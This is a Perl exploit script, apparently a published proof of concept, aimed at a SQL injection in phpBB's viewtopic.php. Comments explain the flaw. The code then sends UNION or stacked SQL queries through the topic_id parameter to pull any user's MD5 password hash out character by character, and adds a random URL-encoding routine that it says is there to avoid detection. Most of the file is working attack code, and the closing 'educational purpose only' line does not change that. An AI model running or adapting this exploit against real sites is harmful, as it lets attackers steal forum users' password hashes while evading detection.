#!/usr/bin/perl -w
#
#
#	phpBB	password disclosure vuln.
#	- rick patel	(rikul7@yahoo.com) -
#	
#	There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id
#	which gets passed directly to sql server in query. Attacker could pass a special sql string which
#	can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with
#	autologin or cracked using john.  
#
#	Details: 
#
#	this is checking done for $topic_id in viewtopic.php:
#
#	if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
#	{
#	      $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
#	}
#	else if ( isset($HTTP_GET_VARS['topic']) )
#	{
#	      $topic_id = intval($HTTP_GET_VARS['topic']);
#	}
#
#	ok... no else statement at end :)
#	now if GET[view]=newest and GET[sid] is set, this query gets executed:
#
#		$sql = "SELECT p.post_id
#               FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s,  " . USERS_TABLE . " u
#               WHERE s.session_id = '$session_id'
#                  AND u.user_id = s.session_user_id
#                  AND p.topic_id = $topic_id
#                  AND p.post_time >= u.user_lastvisit
#               ORDER BY p.post_time ASC
#               LIMIT 1";
#
#	Ahh! $topic_id gets passed directy to query. So how can we use this to do something important? Well
#	I decided to use union and create a second query will get us something useful. There were couple of 
#  	problems i ran into. first, phpBB only cares about the first row returned. second, the select for first
#	query is p.post_id which is int, so int becomes the type returned for any other query in union. third,
#	there is rest of junk at end " AND p.post_time >= ..." We tell mysql to ignore that by placing /* at end
# 	of our injected query. So what query can we make that returns only int?  
#	this one => select ord(substring(user_password,$index,1)) from phpbb_users where user_id = $uid
#	Then all we have to do is query 32 times which $index from 1-32 and we get ord value of all chars of
#	md5 hash password. 
#
#  	I have only tested this with mysql 4 and pgsql . Mysql 3.x does not support unions so you would have to tweak
#	the query to do anything useful. 
#	
#	This script is for educational purpose only. Please dont use it to do anything else.	
#

use IO::Socket;

$remote = shift || 'localhost';
$view_topic = shift ||  '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;

$dbtype = 'mysql4';	# mysql4 or pgsql 


print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";

$p = "";

for($index=1; $index<=32; $index++)
{
	$socket = IO::Socket::INET->new(PeerAddr => $remote,
				PeerPort => $port,
				Proto => "tcp",
				Type => SOCK_STREAM)
	or die "Couldnt connect to $remote:$port : $@\n";
	$str = "GET $view_topic" . "?sid=1&topic_id=-1" .  random_encode(make_dbsql()) .  "&view=newest" . " HTTP/1.0\n\n";

	print $socket $str;
	print $socket "Cookie: phpBB2mysql_sid=1\n";	# replace this for pgsql or remove it
	print $socket "Host: $remote\n\n";

	while ($answer = <$socket>)
	{
		if ($answer =~ /Location:.*\x23(\d+)/)	# Matches the Location: viewtopic.php?p=<num>#<num>
		{
			$p .= chr ($1);
		}
	}
	
	close($socket);
}

print "\nMD5 Hash for uid $uid is $p\n";

# random encode str. helps avoid detection
sub random_encode
{
	$str = shift;
	$ret = "";
	for($i=0; $i<length($str); $i++)
	{
		$c = substr($str,$i,1);
		$j = rand length($str) * 1000;
		
		if (int($j) % 2 || $c eq ' ')
		{
			$ret .= "%" . sprintf("%x",ord($c));
		}
		else
		{
			$ret .= $c;
		}
	}
	return $ret;
}

sub make_dbsql
{
	if ($dbtype eq 'mysql4')
	{
		return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
	} elsif ($dbtype eq 'pgsql')
	{
		return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
	}
	else 
	{
		return "";
	}
}